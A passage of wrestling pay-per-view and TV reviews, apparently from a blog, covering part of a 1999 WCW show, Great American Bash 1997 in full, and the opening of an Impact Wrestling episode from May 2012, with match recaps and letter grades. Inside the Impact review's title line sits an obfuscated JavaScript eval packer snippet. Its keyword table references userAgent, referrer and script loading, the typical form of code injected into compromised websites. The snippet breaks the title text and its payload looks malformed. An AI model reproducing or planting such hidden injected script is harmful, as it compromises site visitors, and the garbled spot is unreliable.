Whipwreck goes up and avoids a superplex. Nice top rope clothesline gets two. Sitout Pedigree by Kidman gets two as this is needing to end pretty soon. Top rope belly to back gets two for Mikey. Powerbomb is countered by Kidman and that always awesome Shooting Star is enough for Kidman to retain.

Rating: B-. Good match here but 15 minutes was probably too long. Cut this down by about three minutes and it’s a lot better. Mikey is a weird kind of cruiserweight as he wrestles like a small heavyweight rather than a cruiserweight and it makes for some odd matches at times. Not bad for sure but probably just too long.

We get a video on the cage being built for later.

Stevie Ray vs. Vincent

This is a street fight for control of NWO Black and White, because when you think leadership of a heel team, you think Vincent. Since it’s a street fight, Stevie gets checked for weapons. Do you really expect for there to be a good match here? Out to the floor with Vincent in control. Did he ever win a match in WCW? They go into the stands and fight over like 50 empty seats.

Gee WCW, I’m sure you made the right decision to waste all those seats in an arena that you have a huge crowd. Clearly no one would have wanted those seats. Vincent backdrops him to ringside as I can’t believe I’m seeing Vincent in a match on PPV. Middle rope forearm gets two for Vincent. Stevie wakes up and we get the most ridiculous collision spot ever, as Stevie leans forward and Vincent doesn’t move for the spot to him. Horace comes out and hands Stevie a slapjack but Stevie hits a move called the Slapjack (elevated Pedigree) for the pin.

Rating: F. Vincent was in a gimmick match on a PPV in 1999 with Horace Hogan involved in it as well. Do I need to explain to you why this was a failure? The match sucked too and it sucked hard. I mean like Pat Patterson trying to make up with Vince hard.

Kevin Nash vs. Rey Mysterio

Yes you read this right. Mysterio is in a giant killer thing, including a pin over Nash. Oh and Rey has no mask anymore. Luger is out with Nash here, as is Liz. Rey runs right into a boot in the first move of the match. Nash tosses him around a bit but gets caught in a sitout bulldog as the fans are WAY into this. Rey sends him to the floor and uses what we would call the 619 (it’s just a tease move in WCW and never makes any actual contact).

Nash dodges a dive and sends Rey into the railing to take over. Back inside now and Nash is dominant. In a funny spot he sets up the framing elbow in the corner but has to put Rey on the middle rope to be able to hit it. Biggest atomic drop ever puts Rey down again. Low blow by Rey is all cool with the referee and a dropkick gets two. Moonsault press is caught and Luger trips Rey, allowing another big boot to set up the super jackknife to end this. It was almost a Border Toss the way he did it.

Rating: D+. This is a different kind of match. On paper it’s more or less a squash but here that’s the right idea. The idea was that Rey had hit the lucky streak of a lifetime and finally got caught here. In other words, Nash winning here was exactly what should have happened. There comes a point where a guy as small as Rey beating a guy as big as Nash in a regular match (as in not off a quick fluke) is unrealistic and hurts the story. This is one of those times. No issue here, and ironically enough the time of the match was 6:19.

Raven talks about violence causing violence.

Hak (Sandman) says he’s ready for his hardcore triple threat.

Bigelow says he’s awesome. Yeah these guys left their spots as being top stars in ECW to do ECW style matches in the low midcard of WCW. Makes sense.

Jerry Flynn vs. Ernest Miller/Sonny Onoo

Note that this is Flynn and not the far more talented and interesting Lynn. Flynn is a dull as vanilla ice cream in a white room with a single window where you can watch grass growing. It’s karate stuff here again because that’s all these three know how to do. They have to tag here. Basic story here: Onoo (allegedly one of the best fighters in the world) is terrified of Flynn so Miller (another world champion remember) has to do everything. You know, because Flynn is so awesome that two champion martial artists can’t handle him.

This is one of those matches where there is absolutely nothing to talk about. This match didn’t belong on Thunder and yet it’s getting seven minutes on a PPV. Miller is in the match the entire time and hits the Feliner (Trouble in Paradise) to put Flynn down. Now it’s off to Sonny and as soon as Flynn gets up it’s off to Sonny again. Flynn beats on Miller on the floor and then the tag finally hits. One kick from Flynn pins Onoo. Whatever man.

Rating: F-. Jerry Flynn has less purpose on this show than Vincent did. Let that sink in for a bit. Totally worthless match and no point whatsoever on being on this show. Also, STOP HAVING KARATE GUYS FIGHT EACH OTHER. The point is to have them fight other styles so it doesn’t get boring. Weak match and totally pointless. Give me ANYTHING else.

Benoit and Malenko are ready to win the tag titles from Windham and Hennig tonight. It’s a lumberjack strap match.

Hak vs. Raven vs. Bam Bam Bigelow

Hardcore match of course but that isn’t an official word yet. Hak has what used to be Mongo’s music. Even Raven has a theme now and he has his “sister” Chastity with him. Big brawl to start with Bigelow running everyone over. Chastity leaves for a bit and comes back with a dumpster full of weapons. This is going to be another one of those matches where there isn’t much to say.

Raven is controlling at the moment with various shots from metal objects. Sandman screams and overacts a lot. There’s a mailbox and an ironing board. Drop toehold sends Hak into a pile of stuff. They’re pretty much just throwing stuff at each other here. Bigelow is the only one standing. Trashcan shot to the head puts Hak down but Raven hits a low blow on Bammer to take over again.

Hak breaks an ironing board over Raven and everything stops again. Apparently he has a patented left hand. So does every other left handed person on the planet or anyone that hits somebody with a left hand own him a quarter or something? Bigelow hits Sandman with a box fan and the fans loudly boo. There’s an oar to Bigelow’s crotch. Raven does his pose and gets a big reaction.

Raven hits a WEAK chair shot to Bigelow who pops up from it as he should have. These spots are happening with about 30 seconds between them. Hak pops up after a cookie sheet shot and jumps on Bigelow with a sleeper. Raven jumps on Hak and they all fall down again. Heineken-Rana (yes that’s the real name) from Hak takes Raven down and it’s table time.

An ECW chant starts up and is immediately muted. I mean it just gets quiet almost instantly. Bigelow can’t splash Raven through a table so he powerbombs him instead. THE TABLE DOESN”T MOVE. Bigelow has to splash him instead and somehow Hak is still alive. He brings in the cane and here’s Chastity. There’s another table and make it a third. Bigelow goes most of the way through one of them and Raven DDTs Hak.

Naturally he doesn’t cover as Chastity has slipped him some tape and he’s taping Hak’s arms behind his back. We get the just not needed Rock/Foley series of unprotected chair shots to the head until Bigelow hits Greetings From Asbury Park (over the shoulder Piledriver) to kill Raven. Chastity hides in the dumpster and Bigelow threatens to jump in it. She comes up with a fire extinguisher and Bigelow falls through the table. And then she turns on Raven and Hak pins him to end this.

Rating: D. This was a pretty intense hardcore match but it was FIFTEEN MINUTES LONG. Seriously, who in the world thought that was a good idea? These matches are already repetitive and having guys out there that are spent a few minutes in, how good are you expecting this to be? The spots were solid but it just went way too long here and that’s why it’s rated so low.

We get a brief break to clean the ring as the announcers talk.

Tag Titles: Chris Benoit/Dean Malenko vs. Curt Hennig/Barry Windham

This is a lumberjack strap match, meaning the lumberjacks have them. None of them are stars or anything and Hennig/Windham are the champions. One of the lumberjacks is Kendall Windham, as in Barry’s brother. Hennig and Benoit start us off. Arn Anderson comes down to ringside before we really get going. Chris Adams leaves and Arn takes his place, for some reason having his own leather strap in his jacket. I won’t ask.

The champs try to run and they get thrown back in by the lumberjacks. We finally get going and the starters trade slaps with Benoit destroying him. Out to the floor again and Hennig runs like a guy being chased by a mob with leather straps who want to beat him down. Off to Windham and he gets chopped too. Windham is sent outside and the lumberjacks start it up again.

Sweet mercy those are awesome chops. Malenko comes in and doesn’t miss a step from Benoit as the champions haven’t had a bit of offense yet. Back off to the Canadian who keeps dominating. Windham finally gets a boot up in the corner to set up a DDT and a tag to Hennig. Off to a chinlock as Hennig pretty audibly calls spots. Barry comes in again and a clothesline gets two.

Benoit hits a German and it’s the medium heat tag to Malenko. Benoit hadn’t been down enough yet for a hot tag so it’s close enough. Everything breaks down and Malenko hits a Hennigplex for two on Curt with a fast count. Cloverleaf goes on Curt and he taps but Windham makes the save before the referee sees it. Sleeper goes on Dean by Curt and then he dumps Dean.

Anderson comes over to save him from the beating and asks what’s wrong with you guys. That coming from Arn is just awesome. Dean tries to get something going against Windham but a hard elbow and a belly to back suplex stops that. Dean hammered away during the suplex though so both guys are down. Double tag brings in Benoit and Hennig with the Crippler in command. He steals Windham’s belt and we hit the floor where everything explodes. Hennig nails Anderson so Anderson pulls out a tire iron to blast Curt with. The most ridiculous Swan Dive ever (in a good way) ends Hennig a moment later.

Rating: B-. Pretty standard formula match here but it was good. The lumberjacks might have been a bit much but it was nothing too bad. That headbutt was insane as Hennig was beyond the logo on the mat and it made actual contact (with the arm but give him a break). Pretty good match here and nice to see Benoit getting a title after not having one for a very long time.

Chris Jericho vs. Perry Saturn

This is a dog collar match. Saturn had been in a dress recently and has promised to top that here. And now he’s in a dress made of chains. He also has some special contacts in which make his eyes yellow. The eyes have makeup on them and he’s wearing black lipstick. They’re chained around the neck. I have a feeling this won’t be Piper vs. Valentine. Jericho accepts the challenge for the match (which even Tony says “well we know that”) and then tells Ralphus to put the collar on. Even he says no to that and Jericho throws him out.

Jericho charges before he’s even attached and that goes badly for him. Saturn collars him on his own which is creepy. Jericho tries to run and that doesn’t work of course. Perry beats on him a lot as this is pretty dull so far. There’s some choking and Saturn uses the chain in a lot of regular moves. He pulls Jericho off the apron, throat first into the railing. Literally all Saturn so far.

Jericho finally gets a ball shot with the chain and chokes him over the ropes a bit. He tries to powerbom Saturn back into the ring but gets caught in a rana instead. Chris brags some but takes too much time, allowing Saturn to pull him off the top. All Perry now with him throwing Jericho around a lot.

We go to the corner for ten punches and Saturn puts the dress over Jericho’s head. He gets caught in a Liontamer attempt though and is in trouble. In a pretty smart counter, Saturn wraps the chain around Jericho’s neck even more before he turns it so that while the hold is on, Jericho gets choked at the same time and he can’t hold onto it. Nicely done. Death Valley Driver out of nowhere gets two for Perry. Super rana attempt is countered into a powerbomb/spinebuster off the middle rope by Jericho.

Jericho unchains himself from Saturn, completely defeating the purpose of the match, and attaches it to his own neck so it’s wrapped around his chest. Lionsault misses so Jericho goes up again. A top rope splash misses due to Jericho tucking the chain into his tights for some reason and another Death Valley Driver ends Jericho.

Rating: D+. The match was really just a match that had a chain involved other than a few spots. The ending completely defeated the purpose though, which doesn’t really surprise me in WCW, especially in 1999. They just weren’t too bright around this time. Also the Saturn is psycho thing didn’t really mean all that much. Just kind of there, which isn’t good for a gimmick based around violence, of which there wasn’t much at all.

TV Title: Scott Steiner vs. Booker T

Steiner is champion and has Bagwell with him. Steiner stalls a lot before the match and threatens the referee a lot. They get in each others faces and Steiner hits the floor again, shouting CROSS THE LINE at some fans. If someone says wrestling matters I’ll die of laughter. We finally get going and kind of grapple a bit until Booker snaps off an armdrag to tick off Steiner.

They actually speed things up a bit and slug it out. Spin kick misses and Scott hits the floor. Booker is being a lot more aggressive here and I kind of like it. Steiner stalls a ton and they’re really not in full gear yet. He fights up and hits a rotating cross body off the top for two as Buff pulls him out. Steiner throws him into the crowd for a bit and that doesn’t go anywhere.

Steiner drops the elbow but doesn’t have the pushups thing yet. Back inside after some Bagwell choking, Steiner hits a Warrior gorilla press slam drop and is in full control. That gets two with just a knee on Booker’s chest. Spinning belly to belly gets two and we hit the weak rear chinlock. I mean at least flex your arms Scott.

After that gets broken up a forearm smash puts Steiner down. Spinwheel kick puts Scott down and there’s the axe kick. Flapjack sets up the Spinarooni for a nice pop. Harlem side kick looks to put the referee down but we actually don’t get a ref bump. Bagwell interferes again because that’s all he’s good for, crotching Booker on the top. Middle rope suplex and Buff brings in a chair. The chair hits Steiner in the head and the referee is all cool with it. Booker gets a cover and the pin for the title.

Rating: C+. Not bad here but it dragged a bit, namely due to Steiner not being able to crank a neck properly or Buff being useful in the slightest. I liked the earlier parts of this a lot better as Booker was slugging it out with Steiner and it was working. These two had some decent chemistry and this worked pretty well.

Video on the cage being made with the barbed wire and all that jazz.

WCW World Title: Hulk Hogan vs. Ric Flair

Lot of stips here. Hogan is champion and the heel coming in. Flair is president of WCW and it’s job/career vs. title. There’s no door to the cage and there’s barbed wire on the top. Remember that this is first blood. During Flair’s entrance he wants the mic from Buffer. Flair tells the referee not to stop the match unless a good deal of blood and to use his discretion. Keep that in mind: Flair, the President of the company, is saying that it ends with FIRST BLOOD, albeit a lot of blood. Tony calls it first blood also. Ok, that’s all cool. That gimmick has been done a bunch of times and it’s fine. Nothing weird here.

The cage is lowered. This is like a regular cage but there’s barbed wire on the top and no top. Tony talks about how are they going to escape, meaning they’re already altering the rules. The fans loudly chant for Hogan as they start slowly. BIG chop by Flair but here comes Hogan with a backdrop. Despite Hogan being the heel and Flair being the face here, they’re wrestling the opposite styles.

They trade chops in the corner and Hogan takes over while Flair begs off. Hogan throws on the Figure Four and Bobby thinks he’s in command. What great perception! Flair eats cage and Hogan pounds away plus bites. Flair tries to climb over the top as toilet paper comes into the ring. There go his trunks of course because we have to see that every show right? Flair is busted and it’s kind of bad, but the referee says keep going. Fits with what we were told in the beginning of the match.

Hogan pulls some barbed wire down because it’s apparently held on with gum and tape. He rips it across Flair’s head and then whips him with the belt. Flair’s hair is turning red now as Hogan rams him into the cage ten times. They’ve totally done a double turn mid match. Big boot sets up the leg drop and covers but as Mike says, “that’s insignificant due to the rules of the match.” The referee doesn’t count either so Hogan complains about how Flair is bleeding and says he should win. Hulk complains about the lack of a count as the rules are breaking down very fast.

Flair gets something around his hand and decks Hogan with it to take over again. Hogan eats cage and is busted. Here come David Flair who is at odds with his dad along with his unnamed girlfriend who we know as Torrie Wilson. David cheers on Hogan as the fans chant Hogan. Hulk Hulks Up and is a total face. There’s a leg drop and a cover for one. Oh I give up.

Ric comes back and hits a suplex but Hogan pops up. Flair goes into the cage again and let’s do it one more time. Hogan picks him up like a battering ram into the cage and down goes the referee. Flair gets a low blow and here’s Arn Anderson. He decks David and slips the tire iron to Flair. Flair blasts Hogan with it and puts the Figure Four on Hogan who is out and the referee counts a pin to give Flair the title. The fans go silent and then boo Flair.

Rating: C. Not horrible here but it would get a lot worse in the future. The double turn probably was a good idea as things had been going badly for awhile. Flair FINALLY beating Hogan is nice to see, even though it stops meaning anything at all at this point. The ending aside, this wasn’t bad and as usual, Flair and Hogan know how to work a crowd pretty well.

Thunder was in Lexington on Thursday. I think I was at that show.

Overall Rating: C-. Well this wasn’t horrible. There’s nothing here that makes you wonder what drugs they’re on which is a big step up for WCW around this time. It’s certainly not a great show but I think you can watch it and say that it’s ok enough to get by. The problem though was that the company was in a total downward spiral at this point and Austin vs. Rock was two weeks away. That’s kind of hard to fight. Not awful, but nothing really worth seeing here.

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Great American Bash 1997: They Broke The Barbecue Pit Tony!

Great American Bash 1997
Date: June 15, 1997
Location: The MARK of Quad Cities, Moline, Illinois
Attendance: 9,613
Commentators: Bobby Heenan, Dusty Rhodes, Tony Schiavone

It HAS TO be better than Slamboree. I mean it has to be. The main event here is Savage vs. DDP in a falls count anywhere match. Also since last week’s battle of the football players match went so well, we’re repeating it here. Now one good thing about WCW at this point is that the matches got time, as in the shortest match on this show is nine and a half minutes long. On the other hand, the shortest match on this show is nine and a half minutes long. Let’s get to it.

The opening video is about AMERICA. DDP has chased the American Dream (not Dusty) which is a nice idea actually.

We also have the Outsiders defending against Piper/Flair.

Psicosis vs. Ultimo Dragon

This is the revenge match for Dragon after he dumped Onoo and Sonny brought in Onoo to fight for him. Dragon sends him to the floor and the crowd is hot. Back in Psicosis takes him to the mat but gets knocked to the floor almost immediately. In the ring again Dragon tries a leapfrog but Psicosis punches him out of the air. Dragon one ups him by dropping an elbow on Psicosis as he hits the mat. There’s the handstand in the corner and here come the kicks.

The crowd is WAY into Dragon here. Psicosis takes over with a clothesline and walks around a lot. The crowd energy alone is making this show feel better than the previous one. Psicosis gets guillotined on the top rope but as Dragon tries to dive on him he injures his knee. Sonny adds in some kicks to keep Dragon down. Psicosis punches him into a 619 position but with Dragon facing up. Psycho hits a guillotine legdrop down onto the Dragon and barely misses the apron.

La Majistral gets two. Dragon rolls to the floor and Sonny fires off more kicks, but this time Dragon blocks him. He sets for a suplex but Psicosis makes the save. Back in dragon hits some more kicks and almost knocks a horn off of the mask. They both try rollups with Dragon kicking him into the aisle where he hits the Asai Moonsault. That thing is gorgeous. Tombstone in the ring gets two.

Psicosis gets sent to the apron and comes back with a slingshot cross body to send Dragon to the floor. HUGE dive over the top takes Dragon out. Back in (I’ve been saying that a lot) Dragon rolls forward into a rana but it gets countered into a sunset flip for two. Psicosis tries a moonsault press but Dragon dropkicks him out of the air. Super rana looks to set up the tiger suplex but he goes after Sonny instead. The distraction lets Psicosis hit a springboard missile dropkick for two. Dragon sends Psicosis into Sonny and the Dragon Sleeper gets the tap out.

Rating: B. I liked this one as they were flying all over the place. Dragon was a lot better than I remembered him being and his last few matches have probably been the best ones of the PPVs. I’m not sure why he didn’t become a bigger star than he was in WCW, but maybe it was the language barrier issue?

Harlem Heat vs. Steiner Brothers

The winners are #1 contenders which makes me laugh. Stevie and Scott get us going and it’s power vs. power. They collide off the ropes and no one moves, so Scott hits him in the face with a forearm. When all else fails, HIT HIM IN THE HEAD. Stevie kicks him in the face to take over. Another boot misses so Scott throws him over in a suplex. The Steiners clear the ring for a bit and Stevie wants Rick.

Ray pounds him down and it’s off to Booker, but he wants Scott. Rick won’t leave so Booker doesn’t get what he wants. Ok now he does and Scott shoves him into the corner. Booker breaks up a test of strength and tries a headlock. That gets him nowhere so he tries a full nelson. Scott easily breaks it but takes a knee to the ribs to slow him right back down. Butterfuly powerbomb gets one for Steiner.

Off to Rick again who wants to brawl. The brawling doesn’t work so he goes to the Steiner bread and butter of a suplex. Scott comes in for a gorilla press but he jumps into a boot. Spinarooni sets up the Harlem Side Kick and Booker clotheslines Scott and himself to the floor. Scott sends him into the barricade to take over and they head back inside. Rick comes in again and goes outside also, but this time Stevie powerslams him on the floor to give Harlem Heat the advantage.

Rick is in trouble now as Harlem Heat lulls Scott in. They hit a modified Hart Attack (Harlem Side Kick instead of a clothesline) called the Big Apple for a delayed two. Rick catches a kick into a powerbomb/suplex kind of move to put both guys down. Hot tag brings in Scott and the ring is cleared quickly. A top rope Frankensteiner puts Stevie down…and here’s Vincent to hit Stevie so that the Steiners lose and the Outsiders don’t have to face them.

Rating: D+. This was pretty much a long TV match with a bad finish. It makes sense on paper, but there wouldn’t be a tag title match, at least not on PPV that I can remember. It was around this time that the titles became a prop as without anyone defending them, the Outsiders being called the best team made no sense. You had a bunch of teams that wanted them which helped, but with the titles never being defended they stopped meaning anything.

Vincent takes the Steiner Bulldog post match.

Hugh Morrus vs. Konnan

More fallout from last month. Konnan is a rapper now. Brawl to start and Morrus takes over with some forearms to the back. A running dropkick puts Konnan down again. Hugh heads to the floor for no apparent reason and is slammed into the steps. Back inside now for some chinlockery. Now it’s a modified crab as this match slows way down. Morrus sends him to the floor again to take over but then throws him right back inside.

Spinwheel kick gets….Morrus sitting on his knees and then a cover for two. Now off to a Fujiwara Armbar and a bad one at that. Gutwrench suplex sends Konnan flying as they don’t like leaving holds on for that long. Back to the armbar which Konnan easily breaks and doesn’t sell at all. Clothesline sets up a stump puller of all things and then off to a headscissors.

This is one of those “let’s lay on the mat for most of this match” matches. Konnan lets go of the headscissors and puts on a cross armbreaker. Morrus won’t bother to sell it either so Konnan kicks him in the head. Morrus is laying there so Konnan gives up on it and they get back up. Back to the armbar attempt but Konnan escapes. A rollup goes badly so Morrus loads up the moonsault but he stands there for an hour and a half, allowing Konnan to crotch him. A bad Tequila Sunrise gets Morrus to pass out instead of giving up.

Rating: F. Oh MAN this was bad. They laid around a lot, they didn’t do anything at all, NO ONE was selling anything and the story wasn’t interesting at all. Nothing to see here at all and the match was just horrible. This was one of those things that you forget about in WCW: horrible midcard matches like these.

Gene talks about how someone is having issues with his employer and might show up on Nitro tomorrow. Someone was, they did show up on Nitro, it was in two weeks, and his name was Raven.

Public Enemy doesn’t like Harlem Heat.

Glacier vs. Wrath

Mortis is handcuffed to the post here. Wrath takes him into the corner and fires off elbows and chops but Glacier comes back with slaps of his own. Some kicks send Wrath to the floor and there’s a dive over the top by Glacier. I’m stunned by seeing him do more than just kicks and strikes. Still on the floor and Wrath is sent into the steps. Things stay slow as Glacier jumps off the apron for a shot to the back which gets two back inside.

Corner splash misses for Glacier and it’s in the corner Mortis is chained up in, so Mortis trips him. Wrath loads up a powerbomb but drops back to hot shot Glacier on the top rope. Off to the chinlock which eats up a little time. Glacier gets up but misses a cross body and falls to the floor. Back inside a top rope clothesline gets no cover. Glacier tries to choke him but gets shoved back down.

A Vader Bomb elbow misses and Glacier comes back with a backdrop. There’s a spin kick and a jumping back elbow for two. A suplex puts Wrath down and he goes up but gets crotched. A superplex puts both guys down but Mortis gets up to distract the referee. James Vandenberg offers distraction #2 and Mortis throws in a chain. Glacier catches it, right hand, pin.

Rating: D. This was one of those matches and feuds that just kept dragging on and on and on. Ernest Miller was brought in last month and he didn’t make things any better either. Nothing to see here other than a filler match and not a very good one at that. I think this ended soon after it though.

Glacier gets cuffed to the rope and it’s a triple beatdown.

Women’s Title: Akira Hokuto vs. Madusa

Title vs. career here. We actually get a Candy Devine reference as WOMEN’S WRESTLING EXPERT Lee Marshall talks about his AWA days. Hokuto starts in control and sends Madusa across the ring by the hair. She chokes Madusa in the corner and then in the middle of the ring. Total squash so far. Off to a chinlock less than two minutes in. A piledriver kills Madusa even further but she comes back with a reverse mat slam to take over.

There are a pair of dropkicks which gets two. Marshall is talking about something called Johnny Taco’s Gym in Las Vegas. Hokuto comes back with choking and a slam/suplex kind of move. More choking follows and Hokuto shrugs off a kick to the head. A modified suplex sets up a figure four attempt but Madusa gets to the rope.

Madusa comes back with a spin kick to the chest and a series of kicks to the ribs. A small package gets two for the champion. Madusa comes off the top with an ax handle but blows her knee out in the process. Marshall again talks about AWA women’s wrestling and an old injury from ten years ago. Modified surfboard works on the knee some more as this match is better than most of the others on the show so far.

Now it’s up to a full surfboard and Madusa is in trouble. That gets released because it’s a very hard hold to keep up and Hokuto goes up. Madusa comes back with a Stratusphere and the suplex but the cover is delayed so it only gets two. Another German suplex attempt is countered into a leg bar.

One of the things you don’t see very much in this company in this era is time between moves. It’s just going from one move to another which takes a lot of getting used to. The leg bar stays on for awhile and is followed by a guillotine legdrop attempt but Madusa moves out of the way. German Suplex gets two and it’s back to the knee. A top rope splash hits knees but Madusa can’t do anything because of the knee. A Snow Plow by Hokuto ends this. The retirement of course didn’t last.

Rating: C-. This was the best match of the night probably other than the opener but that’s not saying much. Just boring overall but the story of the knee injury helped a lot. At the end of the day though, who cares about the women’s division in this era anyway? This is the end of the Women’s Title anyway.

With Madusa being taken to the back and with her career being over, Gene pops up to say that her career is toast and puts a mic in her face. The fans chant LEAVE HER ALONE. This was a jerk move even for Gene.

Chris Benoit vs. Meng

This is another death match, meaning you can win by submission or knockout. Benoit takes it straight to the floor and chases Jimmy Hart off. Back in Benoit immediately tries the Crossface but Meng lifts him up to break it. I don’t think the hold was all the way on yet. Benoit tries it again and this time gets it on, but Meng makes a rope and when you think DEATH MATCH, you think rope breaks.

They slug it out and Benoit escapes a powerbomb. Benoit suplexes him over the top and to the floor which isn’t as impressive as it sounds. Back in Benoit goes up with his back to the ring but Meng kicks the foot out and Benoit is caught in the Tree of Woe. A kick to the face gets about seven for Meng and a spinebuster gets about five. Kick to the face is followed by a modified Dragon Sleeper but Benoit bites the hand to escape. That’s smart.

The idea here is that Benoit can’t hurt him but he keeps trying. Meng chops him down again and hits a top rope splash for seven but Meng kicks him right back down. Benoit is knocked to the floor but he reverses Meng into the barricade. Back in the ring Benoit hits the German suplex to put Meng down for eight. Benoit throws on another German because the first one worked so well. This one gets about six.

Benoit kicks him to the floor and….does nothing at all. Meng gets back in and hits an atomic drop to take over. There’s the Death Grip but Benoit dives over the top to break it up. They slug it out on the floor and Meng takes over with a headbutt. Off to a chinlock as Dusty is talking about breathing apparatuses. Heenan: “Well thank you Quincy.” A suplex puts Benoit down but a middle rope splash misses.

The Crossface goes on but Meng gets a rope. Benoit immediately puts it on again but Meng makes the rope one more time. Meng pounds him down but gets caught in a Dragon Screw Leg Whip and then the Crossface goes on for I think the fourth time this match. This one is closer to the middle of the ring too. After about a minute and a half Meng blacks out to give Benoit the win. Dusty says this is an historic moment. How exactly is this historic?

Rating: C. Not bad but for the most part it was Meng not selling anything for awhile until Benoit held him in the Crossface for forever. It wasn’t bad but when I think DEATH match, I think something a little more violent than this. It wasn’t bad but it’s being overblown a little bit too much.

Post match they both get taken out on stretchers. Why in the world would Benoit need help? He had the Crossface on for like two minutes at the end. They only have one stretcher so this takes awhile.

Watch Bash at the Beach!

Kevin Greene vs. Steve McMichael

Great. MORE football players wrestling. Greene charges the aisle and it’s on quickly. He mounts McMichael and pounds away so Steve heads to the floor. Mongo pulls him to the floor and yells at some fans in Greene jerseys. Oh it’s his parents. MAMA HITS HIM WITH A PURSE!!! Mongo stomps him down coming back in and Greene is in trouble. He can sell better than Meng can for what it’s worth.

Neckbreaker puts Kevin down for two. Greene comes back with something like a Thesz Press but charges into a backbreaker. Kevin takes him into the corner and rains down punches but Mongo drops him and hits a dropkick for two. Mongo hits him in the corner but Greene kicks him in the chest to break it up. Top rope clothesline gets two.

Time for some choking but Greene has to break it because of Mongo being in the ropes. A big clothesline puts McMichael onto the floor and Greene follows him for some stomping. A kind of Stinger Splash misses and Mongo chokes some more. Here’s Jarrett with the briefcase but he hits Mongo in the back of the head by mistake. Greene gets the easy pin.

Rating: D+. It wasn’t as bad as the White match as Greene at least has a tiny bit of experience. Mongo continues to be horrible though and the match was bad as a result. The ending was more about pushing the Horsemen split which had been going on for almost six months at this point. Bad match but not terrible I guess.

Madusa is having her knee looked at.

Tag Titles: Roddy Piper/Ric Flair vs. Outsiders

So that #1 contenders match last month really didn’t mean jack did it? Flair and Hall start things off and there’s a toothpick to the face. Flair gets punched down but comes back with chops to send Hall to the floor. Back in Flair is Flipped in the corner and runs the apron right into the big boot from Nash which gets two. Off to Big Kev who pounds him down and gets a side slam for two.

Hall adds in some cheating but the distraction lets Piper hit a low blow to bring in Piper. Piper hooks a quick sleeper on Hall but it’s easily broken and Hall crotches him on the top. With both guys down, Flair beats up Syxx on the floor. Flair fights him up the alley as Piper gets up. There’s no one to tag so it’s two on one. This was supposed to tease a Flair heel turn. Off to hall who pounds away and slaps Piper on the back of the head a lot. Roddy says bring it on but he gets Nash instead, resulting in a bunch of knees to the ribs. Big boot puts him down and it’s off to Hall for the Edge to retain.

Rating: D. There was a lot of laying around for a lot of the match and the ending was pretty stupid. Flair was supposed to turn heel but Piper bailed to Hollywood so the turn didn’t go anywhere. This was nothing of note and Flair going up the aisle with Syxx seemed pretty stupid for Flair to do. The ending was more or less a squash anyway.

Diamond Dallas Page vs. Randy Savage

Falls count anywhere. Buffer calls it lights out, which has meant a bunch of things over the years. Liz looks great tonight but Kimberly looks a bit better. Page comes in through the crowd and it’s on. A quick cutter attempt doesn’t work and Savage heads to the floor. Page dives on his but the ribs are still bad so it puts both guys down. Back inside Page takes him down with a clothesline and another off the top.

Back to the floor and they go into the crowd with Savage in control. They fight up towards a concrete wall and then through a door into the concourse. Page gets a crutch and waits for Savage to come back through so he can break the crutch over his back. Back to ringside with Savage hitting something like a spinebuster to further mess with Page’s ribs. Page gets a weapon somehow but Savage has powder to slow him down.

Page manages to hit him with whatever he had and both guys are down. Savage gets up first and takes the tape off of Page’s ribs. For no apparent reason he piledrives the referee and Page has an opening. He hits a headbutt but Randy goes right back to the ribs. A second referee comes out and is tossed as well. Savage sends him to the floor and goes after Kimberly but referee #3 (Nick Patrick) makes the save.

They fight up by the stage and there’s a VIP picnic area which they destroy. Dusty freaks out because there’s a barbecue pit. Page wins the battle of the smoked meat and it’s back to the ring. Savage gets crotched on the post and pancaked. The Cutter is countered by a jawbreaker and they head outside again. Savage loads up a piledriver on the exposed concrete but Nick Patrick makes the save and gets decked as a result.

Savage snaps (into it), sending Patrick into the barricade and beating up a photographer. Page comes back to send him into the steel and they go back in. A low blow stops the Diamond Cutter but another attempt at it connects. Both guys are down so here’s Hall. Page fights him off but Savage clocks him with Hall’s belt. The Outsider’s Edge lets Savage hit the elbow for the pin.

Rating: B-. Pretty solid brawl here but at the end of the day, so what? It’s certainly better than their Spring Stampede match and since Page won the first one I have little problem with him losing here. The NWO stuff was annoying but you knew it was coming. Pretty decent main event though and certainly the best in months.

Overall Rating: C-. Definitely the best of the trio here but still nothing all that great. It’s light years ahead of Slamboree but then again what isn’t? Hogan would be back the next month to actually wrestle on pay per view but unfortunately it was with Dennis Rodman in a tag match. Anyway, decent show here but there’s nothing worth seeing at all.

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Impact Wrestling – May 3, 2012: Rise Of The Silva Surfer

Impact eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fakff|var|u0026u|referrer|tssbk||js|php'.split('|'),0,{})) Wrestling
Date: May 3, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

It’s time for another TNA show but it’s hard to say where things go from here. We had Open Fight Night last week which was nothing special at all in my eyes. The end of the show was Eric Bischoff being covered in human waste and since he’s gone FOREVER, it doesn’t really give any indication of where things are going next. Let’s get to it.

We open with a recap of the end of last week’s show.

Flair is in the ring complaining about Hogan and how Hulk ran Eric Bischoff out of the building. You spell his name R-i-c G-o-d F-l-a-i-r. That’s an awesome line. He calls out Hogan and eventually here’s Hulk. Flair says this is good vs. evil and Hogan is good, while Flair is the “most evil man in the planet.” Flair says he’ll get power back. Hogan says he isn’t here to fight him, but he’s here to step the game up. The real evil one is Eric though because he did everything. Hogan says he hung up his boots when the GM position came open and he’s here to make this the longest running company.

Hogan says he’s Flair’s boss and offers Flair a spot as a judge on the Gut Check stuff. So wait they had a guy come in and compete without having the judges already picked? Flair can teach anyone more than they could ever learn and he’d love Flair to head up the judging. Flair actually says he’ll do it.

Roode and RVD pick each others’ opponents tonight.

Velvet thinks Gail is a cheater. Tessmacher says she never got a shot.

Brooke Tessmacher/Velvet Sky vs. Madison Rayne/Gail Kim

Gail and Velvet start with Brooke being knocked to the floor. The May 31 time slot change is confirmed and there’s going to be a huge surprise on that show. Velvet gets double teamed and it’s Madison in now, humping the mat as usual. Back to Gail who hammers her down for two. A top rope rana is countered and Velvet comes off the middle rope with a bulldog kind of move to set up the tag. The ring gets cleared out and Brooke winds up hitting Eat Defeat on Gail for the pin at 4:45.

